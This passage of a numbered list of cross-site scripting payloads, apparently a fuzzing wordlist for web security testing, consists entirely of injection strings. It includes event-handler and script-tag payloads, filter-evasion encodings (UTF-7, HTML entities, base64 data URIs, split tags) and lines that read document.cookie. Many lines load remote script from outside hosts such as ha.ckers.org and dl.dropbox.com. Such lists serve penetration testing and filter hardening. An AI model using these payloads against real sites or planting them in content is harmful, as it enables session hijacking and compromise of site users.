  1044. exp/*<A STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>
  1045. <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
  1046. a="get";b="URL(ja\"";c="vascr";d="ipt:ale";e="rt('XSS');\")";eval(a+b+c+d+e);
  1047. <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
  1048. <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;"></BODY></HTML>
  1049. <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  1050. <form id="test" /><button form="test" formaction="javascript:alert(123)">TESTHTML5FORMACTION
  1051. <form><button formaction="javascript:alert(123)">crosssitespt
  1052. <frameset onload=alert(123)>
  1053. <!--<img src="--><img src=x onerror=alert(123)//">
  1054. <style><img src="</style><img src=x onerror=alert(123)//">
  1055. <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
  1056. <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
  1057. <embed src="javascript:alert(1)">
  1058. <? foo="><script>alert(1)</script>">
  1059. <! foo="><script>alert(1)</script>">
  1060. </ foo="><script>alert(1)</script>">
  1061. <script>({0:#0=alert/#0#/#0#(123)})</script>
  1062. <script>ReferenceError.prototype.__defineGetter__('name', function(){alert(123)}),x</script>
  1063. <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>
  1064. <script src="#">{alert(1)}</script>;1
  1065. <script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>
  1066. <svg xmlns="#"><script>alert(1)</script></svg>
  1067. <svg onload="javascript:alert(123)" xmlns="#"></svg>
  1068. <iframe xmlns="#" src="javascript:alert(1)"></iframe>
  1069. +ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
  1070. %2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4-
  1071. +ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi-
  1072. %2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-
  1073. %253cscript%253ealert(document.cookie)%253c/script%253e
  1074. “><s”%2b”cript>alert(document.cookie)</script>
  1075. “><ScRiPt>alert(document.cookie)</script>
  1076. “><<script>alert(document.cookie);//<</script>
  1077. foo<script>alert(document.cookie)</script>
  1078. <scr<script>ipt>alert(document.cookie)</scr</script>ipt>
  1079. %22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)’%3E
  1080. ‘; alert(document.cookie); var foo=’
  1081. foo\’; alert(document.cookie);//’;
  1082. </script><script >alert(document.cookie)</script>
  1083. <img src=asdf onerror=alert(document.cookie)>
  1084. <BODY ONLOAD=alert(’XSS’)>
  1085. <script>alert(1)</script>
  1086. "><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script>
  1087. <video src=1 onerror=alert(1)>
  1088. <audio src=1 onerror=alert(1)>
  1089. ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
  1090. '';!--"<XSS>=&{()}
  1091. 0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
  1092. <script/src=data:,alert()>
  1093. <marquee/onstart=alert()>
  1094. <video/poster/onerror=alert()>
  1095. <isindex/autofocus/onfocus=alert()>
  1096. <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
  1097. <IMG SRC="javascript:alert('XSS');">
  1098. <IMG SRC=javascript:alert('XSS')>
  1099. <IMG SRC=JaVaScRiPt:alert('XSS')>
  1100. <IMG SRC=javascript:alert("XSS")>
  1101. <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
  1102. <a onmouseover="alert(document.cookie)">xxs link</a>
  1103. <a onmouseover=alert(document.cookie)>xxs link</a>
  1104. <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
  1105. <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
  1106. <IMG SRC=# onmouseover="alert('xxs')">
  1107. <IMG SRC= onmouseover="alert('xxs')">
  1108. <IMG onmouseover="alert('xxs')">
  1109. <IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
  1110. <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
  1111. &#39;&#88;&#83;&#83;&#39;&#41;>
  1112. <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&
  1113. #0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
  1114. <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
  1115. <IMG SRC="jav   ascript:alert('XSS');">
  1116. <IMG SRC="jav&#x09;ascript:alert('XSS');">
  1117. <IMG SRC="jav&#x0A;ascript:alert('XSS');">
  1118. <IMG SRC="jav&#x0D;ascript:alert('XSS');">
  1119. <IMG SRC=" &#14;  javascript:alert('XSS');">
  1120. <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  1121. <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
  1122. <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  1123. <<SCRIPT>alert("XSS");//<</SCRIPT>
  1124. <SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
  1125. <SCRIPT SRC=//ha.ckers.org/.j>
  1126. <IMG SRC="javascript:alert('XSS')"
  1127. <iframe src=http://ha.ckers.org/scriptlet.html <
  1128. \";alert('XSS');//
  1129. </script><script>alert('XSS');</script>
  1130. </TITLE><SCRIPT>alert("XSS");</SCRIPT>
  1131. <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
  1132. <BODY BACKGROUND="javascript:alert('XSS')">
  1133. <IMG DYNSRC="javascript:alert('XSS')">
  1134. <IMG LOWSRC="javascript:alert('XSS')">
  1135. <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
  1136. <IMG SRC='vbscript:msgbox("XSS")'>
  1137. <IMG SRC="livescript:[code]">
  1138. <BODY ONLOAD=alert('XSS')>
  1139. <BGSOUND SRC="javascript:alert('XSS');">
  1140. <BR SIZE="&{alert('XSS')}">
  1141. <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
  1142. <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
  1143. <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
  1144. <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
  1145. <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
  1146. <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
  1147. <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
  1148. exp/*<A STYLE='no\xss:noxss("*//*");
  1149. xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
  1150. <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
  1151. <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
  1152. <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
  1153. <XSS STYLE="xss:expression(alert('XSS'))">
  1154. <XSS STYLE="behavior: url(xss.htc);">
  1155. ¼script¾alert(¢XSS¢)¼/script¾
  1156. <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
  1157. <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
  1158. <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
  1159. <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
  1160. <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
  1161. <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
  1162. <TABLE BACKGROUND="javascript:alert('XSS')">
  1163. <TABLE><TD BACKGROUND="javascript:alert('XSS')">
  1164. <DIV STYLE="background-image: url(javascript:alert('XSS'))">
  1165. <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
  1166. <DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
  1167. <DIV STYLE="width: expression(alert('XSS'));">
  1168. <!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->
  1169. <BASE HREF="javascript:alert('XSS');//">
  1170. <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
  1171. <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->
  1172. <? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?>
  1173. <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
  1174. <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
  1175. <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
  1176. <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  1177. <SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  1178. <SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  1179. <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  1180. <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  1181. <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  1182. <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  1183. <A HREF="http://66.102.7.147/">XSS</A>
  1184. 0\"autofocus/onfocus=alert(1)--><video/poster/ error=prompt(2)>"-confirm(3)-"
  1185. veris-->group<svg/onload=alert(/XSS/)//
  1186. #"><img src=M onerror=alert('XSS');>
  1187. element[attribute='<img src=x onerror=alert('XSS');>
  1188. [<blockquote cite="]">[" onmouseover="alert('RVRSH3LL_XSS');" ]
  1189. %22;alert%28%27RVRSH3LL_XSS%29//
  1190. javascript:alert%281%29;
  1191. <w contenteditable id=x onfocus=alert()>
  1192. alert;pg("XSS")
  1193. <svg/onload=%26%23097lert%26lpar;1337)>
  1194. <script>for((i)in(self))eval(i)(1)</script>
  1195. <scr<script>ipt>alert(1)</scr</script>ipt><scr<script>ipt>alert(1)</scr</script>ipt>
  1196. <sCR<script>iPt>alert(1)</SCr</script>IPt>
  1197. <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">test</a>
  1198. %253Cscript%253Ealert('XSS')%253C%252Fscript%253E
  1199. <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
  1200. <IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
  1201. <IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
  1202. <IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
  1203. <IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
  1204. <IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
  1205. <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
  1206. <IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
  1207. <IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
  1208. <IMG SRC=x onoffline="alert(String.fromCharCode(88,83,83))">
  1209. <IMG SRC=x onpagehide="alert(String.fromCharCode(88,83,83))">
  1210. <IMG SRC=x onpageshow="alert(String.fromCharCode(88,83,83))">
  1211. <IMG SRC=x onpopstate="alert(String.fromCharCode(88,83,83))">
  1212. <IMG SRC=x onresize="alert(String.fromCharCode(88,83,83))">
  1213. <IMG SRC=x onstorage="alert(String.fromCharCode(88,83,83))">
  1214. <IMG SRC=x onunload="alert(String.fromCharCode(88,83,83))">
  1215. <IMG SRC=x onblur="alert(String.fromCharCode(88,83,83))">
  1216. <IMG SRC=x onchange="alert(String.fromCharCode(88,83,83))">
  1217. <IMG SRC=x oncontextmenu="alert(String.fromCharCode(88,83,83))">
  1218. <IMG SRC=x oninput="alert(String.fromCharCode(88,83,83))">
  1219. <IMG SRC=x oninvalid="alert(String.fromCharCode(88,83,83))">
  1220. <IMG SRC=x onreset="alert(String.fromCharCode(88,83,83))">
  1221. <IMG SRC=x onsearch="alert(String.fromCharCode(88,83,83))">
  1222. <IMG SRC=x onselect="alert(String.fromCharCode(88,83,83))">
  1223. <IMG SRC=x onsubmit="alert(String.fromCharCode(88,83,83))">
  1224. <IMG SRC=x onkeydown="alert(String.fromCharCode(88,83,83))">
  1225. <IMG SRC=x onkeypress="alert(String.fromCharCode(88,83,83))">
  1226. <IMG SRC=x onkeyup="alert(String.fromCharCode(88,83,83))">
  1227. <IMG SRC=x onclick="alert(String.fromCharCode(88,83,83))">
  1228. <IMG SRC=x ondblclick="alert(String.fromCharCode(88,83,83))">
  1229. <IMG SRC=x onmousedown="alert(String.fromCharCode(88,83,83))">
  1230. <IMG SRC=x onmousemove="alert(String.fromCharCode(88,83,83))">
  1231. <IMG SRC=x onmouseout="alert(String.fromCharCode(88,83,83))">
  1232. <IMG SRC=x onmouseover="alert(String.fromCharCode(88,83,83))">
  1233. <IMG SRC=x onmouseup="alert(String.fromCharCode(88,83,83))">
  1234. <IMG SRC=x onmousewheel="alert(String.fromCharCode(88,83,83))">
  1235. <IMG SRC=x onwheel="alert(String.fromCharCode(88,83,83))">
  1236. <IMG SRC=x ondrag="alert(String.fromCharCode(88,83,83))">
  1237. <IMG SRC=x ondragend="alert(String.fromCharCode(88,83,83))">
  1238. <IMG SRC=x ondragenter="alert(String.fromCharCode(88,83,83))">
  1239. <IMG SRC=x ondragleave="alert(String.fromCharCode(88,83,83))">
  1240. <IMG SRC=x ondragover="alert(String.fromCharCode(88,83,83))">
  1241. <IMG SRC=x ondragstart="alert(String.fromCharCode(88,83,83))">
  1242. <IMG SRC=x ondrop="alert(String.fromCharCode(88,83,83))">
  1243. <IMG SRC=x onscroll="alert(String.fromCharCode(88,83,83))">
  1244. <IMG SRC=x oncopy="alert(String.fromCharCode(88,83,83))">
  1245. <IMG SRC=x oncut="alert(String.fromCharCode(88,83,83))">
  1246. <IMG SRC=x onpaste="alert(String.fromCharCode(88,83,83))">
  1247. <IMG SRC=x onabort="alert(String.fromCharCode(88,83,83))">
  1248. <IMG SRC=x oncanplay="alert(String.fromCharCode(88,83,83))">
  1249. <IMG SRC=x oncanplaythrough="alert(String.fromCharCode(88,83,83))">
  1250. <IMG SRC=x oncuechange="alert(String.fromCharCode(88,83,83))">
  1251. <IMG SRC=x ondurationchange="alert(String.fromCharCode(88,83,83))">
  1252. <IMG SRC=x onemptied="alert(String.fromCharCode(88,83,83))">
  1253. <IMG SRC=x onended="alert(String.fromCharCode(88,83,83))">
  1254. <IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
  1255. <IMG SRC=x onloadeddata="alert(String.fromCharCode(88,83,83))">
  1256. <IMG SRC=x onloadedmetadata="alert(String.fromCharCode(88,83,83))">
  1257. <IMG SRC=x onloadstart="alert(String.fromCharCode(88,83,83))">
  1258. <IMG SRC=x onpause="alert(String.fromCharCode(88,83,83))">
  1259. <IMG SRC=x onplay="alert(String.fromCharCode(88,83,83))">
  1260. <IMG SRC=x onplaying="alert(String.fromCharCode(88,83,83))">
  1261. <IMG SRC=x onprogress="alert(String.fromCharCode(88,83,83))">
  1262. <IMG SRC=x onratechange="alert(String.fromCharCode(88,83,83))">
  1263. <IMG SRC=x onseeked="alert(String.fromCharCode(88,83,83))">
  1264. <IMG SRC=x onseeking="alert(String.fromCharCode(88,83,83))">
  1265. <IMG SRC=x onstalled="alert(String.fromCharCode(88,83,83))">
  1266. <IMG SRC=x onsuspend="alert(String.fromCharCode(88,83,83))">
  1267. <IMG SRC=x ontimeupdate="alert(String.fromCharCode(88,83,83))">
  1268. <IMG SRC=x onvolumechange="alert(String.fromCharCode(88,83,83))">
  1269. <IMG SRC=x onwaiting="alert(String.fromCharCode(88,83,83))">
  1270. <IMG SRC=x onshow="alert(String.fromCharCode(88,83,83))">
  1271. <IMG SRC=x ontoggle="alert(String.fromCharCode(88,83,83))">
  1272. <META onpaonpageonpagonpageonpageshowshoweshowshowgeshow="alert(1)";
  1273. <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
  1274. <INPUT TYPE="BUTTON" action="alert('XSS')"/>
  1275. "><h1><IFRAME SRC="javascript:alert('XSS');"></IFRAME>">123</h1>
  1276. "><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>
  1277. <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
  1278. <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
  1279. "><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>
  1280. "></iframe><script>alert(`TEXT YOU WANT TO BE DISPLAYED`);</script><iframe frameborder="0%EF%BB%BF
  1281. "><h1><IFRAME width="420" height="315" SRC="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0" onmouseover="alert(document.cookie)"></IFRAME>123</h1>
  1282. "><h1><iframe width="420" height="315" src="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0" allowfullscreen></iframe>123</h1>
  1283. ><h1><IFRAME width="420" height="315" frameborder="0" onmouseover="document.location.href='https://www.youtube.com/channel/UC9Qa_gXarSmObPX3ooIQZr
  1284. g'"></IFRAME>Hover the cursor to the LEFT of this Message</h1>&ParamHeight=250
  1285. <IFRAME width="420" height="315" frameborder="0" onload="alert(document.cookie)"></IFRAME>
  1286. "><h1><IFRAME SRC="javascript:alert('XSS');"></IFRAME>">123</h1>
  1287. "><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>
  1288. <iframe src=http://xss.rocks/scriptlet.html <
  1289. <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
  1290. <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
  1291. <iframe  src="&Tab;javascript:prompt(1)&Tab;">
  1292. <svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
  1293. <input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
  1294. <sVg><scRipt >alert&lpar;1&rpar; {Opera}
  1295. <img/src=`` onerror=this.onerror=confirm(1)
  1296. <form><isindex formaction="javascript&colon;confirm(1)"
  1297. <img src=``&NewLine; onerror=alert(1)&NewLine;
  1298. <script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>
  1299. <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
  1300. <iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
  1301. <script /**/>/**/alert(1)/**/</script /**/
  1302. &#34;&#62;<h1/onmouseover='\u0061lert(1)'>
  1303. <iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)>">
  1304. <meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
  1305. <svg><script xlink:href=data&colon;,window.open('https://www.google.com/') </script
  1306. <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
  1307. <meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
  1308. <iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
  1309. <form><a href="javascript:\u0061lert&#x28;1&#x29;">X</script><img/*/src="worksinchrome&colon;prompt&#x28;1&#x29;"/*/onerror='eval(src)'>
  1310. <img/&#09;&#10;&#11; src=`~` onerror=prompt(1)>
  1311. <form><iframe &#09;&#10;&#11; src="javascript&#58;alert(1)"&#11;&#10;&#09;;>
  1312. <a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="&#09;&#10;&#11;>X</a
  1313. http://www.google<script .com>alert(document.location)</script
  1314. <a&#32;href&#61;&#91;&#00;&#93;"&#00; onmouseover=prompt&#40;1&#41;&#47;&#47;">XYZ</a
  1315. <img/src=@&#32;&#13; onerror = prompt('&#49;')
  1316. <style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;
  1317. <script ^__^>alert(String.fromCharCode(49))</script ^__^
  1318. </style &#32;><script &#32; :-(>/**/alert(document.location)/**/</script &#32; :-(
  1319. &#00;</form><input type&#61;"date" onfocus="alert(1)">
  1320. <form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;'>
  1321. <script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/
  1322. <iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>
  1323. <a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>
  1324. <script ~~~>alert(0%0)</script ~~~>
  1325. <style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;1&rpar;>
  1326. <///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN
  1327. <img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)
  1328. &#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'
  1329. &#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}
  1330. <marquee onstart='javascript:alert&#x28;1&#x29;'>^__^
  1331. <div/style="width:expression(confirm(1))">X</div> {IE7}
  1332. <iframe// src=javaSCRIPT&colon;alert(1)
  1333. //<form/action=javascript&#x3A;alert&lpar;document&period;cookie&rpar;><input/type='submit'>//
  1334. /*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
  1335. //|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\
  1336. </font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font>/</style>
  1337. <a/href="javascript:&#13; javascript:prompt(1)"><input type="X">
  1338. </plaintext\></|\><plaintext/onmouseover=prompt(1)
  1339. </svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert&#x28;1&#x29; {Opera}
  1340. <a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>
  1341. <div onmouseover='alert&lpar;1&rpar;'>DIV</div>
  1342. <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
  1343. <a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>
  1344. <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
  1345. <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
  1346. <var onmouseover="prompt(1)">On Mouse Over</var>
  1347. <a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>
  1348. <img src="/" =_=" title="onerror='prompt(1)'">
  1349. <%<!--'%><script>alert(1);</script -->
  1350. <script src="data:text/javascript,alert(1)"></script>
  1351. <iframe/src \/\/onload = prompt(1)
  1352. <iframe/onreadystatechange=alert(1)
  1353. <svg/onload=alert(1)
  1354. <input value=<><iframe/src=javascript:confirm(1)
  1355. <input type="text" value=`` <div/onmouseover='alert(1)'>X</div>
  1356. http://www.<script>alert(1)</script .com
  1357. <iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>
  1358. <svg><script ?>alert(1)
  1359. <iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>
  1360. <img src=`xx:xx`onerror=alert(1)>
  1361. <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
  1362. <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
  1363. <math><a xlink:href="//jsfiddle.net/t846h/">click
  1364. <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
  1365. <svg contentScriptType=text/vbs><script>MsgBox+1
  1366. <a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a
  1367. <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
  1368. <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
  1369. <script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
  1370. <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script
  1371. <object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>
  1372. <script>+-+-1-+-+alert(1)</script>
  1373. <body/onload=&lt;!--&gt;&#10alert(1)>
  1374. <script itworksinallbrowsers>/*<script* */alert(1)</script
  1375. <img src ?itworksonchrome?\/onerror = alert(1)
  1376. <svg><script>//&NewLine;confirm(1);</script </svg>
  1377. <svg><script onlypossibleinopera:-)> alert(1)
  1378. <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
  1379. <script x> alert(1) </script 1=2
  1380. <div/onmouseover='alert(1)'> style="x:">
  1381. <--`<img/src=` onerror=alert(1)> --!>
  1382. <script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>
  1383. <div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>
  1384. "><img src=x onerror=window.open('https://www.google.com/');>
  1385. <form><button formaction=javascript&colon;alert(1)>CLICKME
  1386. <math><a xlink:href="//jsfiddle.net/t846h/">click
  1387. <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
  1388. <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
  1389. <a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>
  1390. <script\x20type="text/javascript">javascript:alert(1);</script>
